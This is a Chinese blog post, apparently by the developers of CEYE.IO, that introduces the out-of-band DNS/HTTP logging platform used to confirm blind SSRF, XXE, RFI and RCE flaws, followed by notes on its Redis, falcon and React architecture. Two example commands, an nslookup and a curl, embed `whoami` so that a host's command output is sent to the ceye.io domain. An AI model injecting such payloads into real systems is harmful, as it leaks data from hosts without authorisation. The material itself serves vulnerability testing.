1、CEYE 是什么
CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。
2、为什么会有CEYE
提到为什么会有CEYE就必须提到它的使用场景了。 有两种常见的情况会导致许多漏洞扫描工具漏扫:
为了解决这个问题,我们开发了CEYE平台。通过使用诸如DNS和HTTP之类的带外信道,便可以得到回显信息。
3、如何使用
登录 CEYE.IO,在用户详情页(http://ceye.io/profile)可以看到自己的域名标识符 identifier,对于每个用户,都有唯一的域名标识符如 abcdef.ceye.io 。所有来自于 abcdef.ceye.io 或 *.abcdef.ceye.io 的 DNS查询和HTTP请求都会被记录。通过查看这些记录信息,安全研究人员可以确认并改进自己的漏洞研究方案。
通过DNS带外信道检测 Blind Payload 的执行情况
DNS查询可以以多种不同的方式进行解析。CEYE.IO平台提供了一台DNS Server来解析域名。它的 nameserver address 被设置为自己的服务器IP,因此所有关于ceye.io 的域名的DNS查询最终都会被发送到CEYE的DNS服务器。 例如,在终端中使用 nslookup
➜ nslookup `whoami`.abcdef.ceye.io
Server: 127.1.1.1 Address: 127.1.1.1#53 Non-authoritative answer: Name: chan.abcdef.ceye.io Address: 118.192.48.48
可以看到有记录产生
我们保存了最近的100条记录,你可以通过搜索框,搜索并导出你需要的结果,导出格式为 JSON 。更多的Playload信息可以登录 CEYE.IO 平台获取。 通过HTTP带外信道检测 Blind Payload 的执行情况 CEYE.IO平台拥有自己的HTTP服务器,记录用户域名的所有请求。这可以用来做一些有趣的事情。例如:
➜ curl -X POST http://ip.port.abcdef.ceye.io/`whoami`?p=http -d data=http {"meta": {"code": 201, "message": "HTTP Record Insert Success"}}
在后台,CEYE.IO平台将记录客户端请求的URL,远程IP地址,Http Method,Data,User Agent,Content Type等信息。你可以在HTTP Records页面找到这些详细信息。
4、关于CEYE架构
原ceye的架构:
新的CEYE采用了前后端分离架构: 前端 ceye.io :
后端 api.ceye.io :
技术选型
数据库 MySQL or Redis?
我们完全弃用了以前的MySQL数据库,采用了Redis作为后端数据库。原因是当数个表的数据突破了亿行,页面上同时需要读取的动态数据增多时,为了优化MySQL的操作就显得得不偿失。而 Redis 可以在单台服务器上实现每秒数万次的读取和写入。 既然选择了Redis作为后端数据库,那么相应的应该选择一个Redis ORM。这里我们选择了Redisco作为ORM,虽然原作者已经弃坑不更新了,它的继承者也已经快一年多没有回复issue了,也没有做python3的适配。但是谁叫它的接口更符合django orm的操作方式呢。于是提交了一个PR适配了python3。
WEB Framework?
这里我们选择falcon而没有使用flask,django或其他python web框架的原因是它快而且RESTful,这里推荐一个扩展阅读:关于Python Web框架的性能测试结果(http://klen.github.io/py-frameworks-bench/)。
前端框架?
这里面临了2个选择,Vue or React?
作为一个二手前端,于是开始了踩坑React之旅,各种深坑浅坑不断,还好都一一解决了。
作为曾经的Vue粉简单对比下React和Vue: 生态圈:
明显感觉到了React生态圈的强大,蚂蚁金服前端团队的AntDesion项目,真的把我惊艳到了。它的设计原则让我深刻的体会到了什么是让用户觉得自己是爹。 上手难度: 两者相比,从上手难度来说React的各种概念真的是让新手脑壳疼,而且react的starter kit都构建得无敌恶心。再从代码量方面来说:在写redux action和reducer的时候,各种命名都会显得很繁琐,但又恰好是redux这一套,让后期维护变得更加容易。对于写惯了django template等等后端渲染模版的方式后再学Vue template就会很容易上手,而刚开始用React的JSX语法会觉得有点别扭,但是习惯了又会写得很爽。 这里不展开讨论React和Vue到底哪个好,就和PHP是世界上最美的语言一样,这是个哲学问题。
往 期 热 门